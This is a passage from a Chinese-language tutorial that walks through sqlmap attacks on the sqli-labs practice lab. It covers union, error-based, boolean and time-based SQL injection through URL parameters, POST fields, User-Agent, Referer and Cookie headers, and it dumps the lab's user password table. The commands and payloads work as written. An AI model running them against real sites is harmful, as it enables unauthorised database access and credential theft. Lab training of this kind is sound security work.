--flush-session - 刷新當前目標的會話文件
-v VERBOSE - 詳細級別:0-6(默認為1)。3:有效載荷注入。

列庫

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --dbs
...
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] security

列表

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security --tables
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

列出表中字段

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security -T users --columns
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

dump資料

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security -T users --dump
Database: security
Table: users
[8 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
+----+------------+----------+

報錯注入

檢查注入點

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3
...
sqlmap identified the following injection point(s) with a total of 6 HTTP(s) requests:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(7938,CONCAT(0x5c,0x7176786a71,(SELECT (ELT(7938=7938,1))),0x716b626b71)) AND 'uYoJ'='uYoJ
    Vector: AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
---

發現id是報錯注入(error-based)的注入點
其他【列庫】、【列表】、【列字段】、【列值】和上面一樣

布爾盲注

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
...
sqlmap identified the following injection point(s) with a total of 19 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8085=8085 AND 'ZUiE'='ZUiE
    Vector: AND [INFERENCE]
---
發現id是布爾盲注(boolean-based blind)的注入點

延時盲注

$ python sqlmap.py -u "http://sqlilabs.bt/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
...
sqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2422 FROM (SELECT(SLEEP(5)))mFjj) AND 'mKHO'='mKHO
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
發現id是延時盲注(time-based blind)的注入點
延時盲注是實務上最強的注入方式(聯合查詢注入因不輸出查詢結果而不能使用、報錯注入因不輸出mysql_error()報錯而不能使用、布爾盲注因true和false都輸出同樣的結果而不能使用),但是在跑sqlmap時因為要sleep(),所以也是最花時間的

Less-11(基於POST的注入)

聯合查詢注入

檢查注入點(使用-r)

將 Burpsuite 截取的數據包內容保持為文本格式,如: sqli-labs-less-11.txt 然後放到 sqlmap-dev 資料夾(即sqlmap資料夾)下
POST /Less-11/ HTTP/1.1
Host: sqlilabs.bt
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sqlilabs.bt
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqlilabs.bt/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

uname=admin&passwd=2333&submit=Submit
然後直接使用 sqlmap 的 -r 參數來加載這個請求包:
$ python sqlmap.py -r sqli-labs-less-11.txt --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: uname=admin%' UNION ALL SELECT NULL,CONCAT(0x7170706271,0x485079745259634d616679727a597655584e76474c6748725a586d616d6f7a62676f4d7448794247,0x7178706a71)#&passwd=2333&submit=Submit
    Vector:  UNION ALL SELECT NULL,[QUERY]#
---
發現uname是聯合查詢注入(UNION query)的注入點

-r REQUESTFILE - 從一個文件中載入HTTP請求

檢查注入點(使用--data)

$ python sqlmap.py -u "http://sqlilabs.bt/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: uname=admin%' UNION ALL SELECT CONCAT(0x717a7a6a71,0x68556c4f5158426e5279434e756f6d504869485945715773746444554a4653794358484c65656c6a,0x7178767a71),NULL#&passwd=2333&submit=Submit
    Vector:  UNION ALL SELECT [QUERY],NULL#
---
一樣可以發現uname是聯合查詢注入(UNION query)的注入點

--data=DATA - 通過POST發送的數據字符串
-p TESTPARAMETER - 可測試的參數

Less-18(基於User-Agent 請求頭的注入)

報錯注入

檢查注入點(使用-r)

將 Burpsuite 截取的數據包內容保持為文本格式,如: sqli-labs-less-18.txt 然後放到 sqlmap-dev 資料夾(即sqlmap資料夾)下,然後手動通過 * 來標記注入點: User-Agent: * 
POST /Less-18/ HTTP/1.1
Host: sqlilabs.bt
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sqlilabs.bt
Content-Type: application/x-www-form-urlencoded
User-Agent: *
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqlilabs.bt/Less-18/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

uname=admin&passwd=admin&submit=Submit

$ python sqlmap.py -r sqli-labs-less-18.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 0 --level=3
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (1) values? [Y/n] Y
parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 720 HTTP(s) requests:
---
Parameter: User-Agent (User-Agent)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6'||(SELECT 0x6455485a FROM DUAL WHERE 7808=7808 AND GTID_SUBSET(CONCAT(0x717a627671,(SELECT (ELT(1983=1983,1))),0x7171626a71),1983))||'
---
發現User-Agent 是報錯注入(error-based)的注入點

--level=3 - 必須設置level 3以上才會發現 User-Agent 是注入點
-v 0 - 只顯示Python的回溯,錯誤和關鍵消息。

Less-19(基於Referer 請求頭的注入)

報錯注入

檢查注入點(使用-r)

將 Burpsuite 截取的數據包內容保持為文本格式,如: sqli-labs-less-19.txt 然後放到 sqlmap-dev 資料夾(即sqlmap資料夾)下,然後手動通過 * 來標記注入點: Referer: * 
POST /Less-19/ HTTP/1.1
Host: sqlilabs.bt
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://sqlilabs.bt
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: *
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

uname=admin&passwd=admin&submit=Submit

$ python sqlmap.py -r sqli-labs-less-19.txt --dbms=MySQL --random-agent --flush-session --technique=E -v 0
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
(custom) HEADER parameter 'Referer #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 248 HTTP(s) requests:
---
Parameter: Referer #1* ((custom) HEADER)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: '||(SELECT 0x506b4f51 FROM DUAL WHERE 4198=4198 AND GTID_SUBSET(CONCAT(0x716b766a71,(SELECT (ELT(3749=3749,1))),0x716a7a6271),3749))||'
---
發現Referer 是報錯注入(error-based)的注入點

ps. 這題和Less-18不同,不需要設置 --level=3 就能找到注入點

Less-20(基於cookie的注入)

聯合查詢注入

檢查注入點(使用-r)

將 Burpsuite 截取的數據包內容保持為文本格式,如: sqli-labs-less-20.txt 然後放到 sqlmap-dev 資料夾(即sqlmap資料夾)下,然後手動通過 * 來標記注入點: Cookie: uname=admin* 
GET /Less-20/index.php HTTP/1.1
Host: sqlilabs.bt
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://sqlilabs.bt/Less-20/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: uname=admin*
Connection: close

$ python sqlmap.py -r sqli-labs-less-20.txt --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y
...
do you want to URL encode cookie values (implementation specific)? [Y/n] n
...
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
...
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
...
sqlmap identified the following injection point(s) with a total of 23 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: uname=-1413' UNION ALL SELECT NULL,CONCAT(0x71716b7871,0x48586d697a467753574470624e646c6356764a5a43507a6e66677a6761547461435a6e56564a4866,0x7176627171),NULL-- -
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL-- -
---
發現Cookie #1* ((custom) HEADER) ,即uname是聯合查詢注入(UNION query)的注入點

檢查注入點(使用--cookie)

$ python sqlmap.py -u "http://sqlilabs.bt/Less-20/" --cookie="uname=admin*" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
...
[13:56:32] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] n
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y 
...
do you want to URL encode cookie values (implementation specific)? [Y/n] n
...
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
...
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 23 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: uname=-4659' UNION ALL SELECT NULL,NULL,CONCAT(0x7162707671,0x555467654f774b49554a536a7154764d485445544968526362524a49536f67486a6c417161667353,0x716b627171)-- -
    Vector:  UNION ALL SELECT NULL,NULL,[QUERY]-- -
---
發現Cookie #1* ((custom) HEADER) ,即uname是聯合查詢注入(UNION query)的注入點





參考資料

https://gitbook.cn/books/5ba8393639ea516190a9b8f8/index.html  SQLMap 从入门到入狱详细指南
https://www.sqlsec.com/2020/05/sqlilabs.html  SQLI labs 靶场精简学习记录
https://www.cnblogs.com/peterpan0707007/p/7620048.html  【总结】sqli-labs Less(1-35) 小结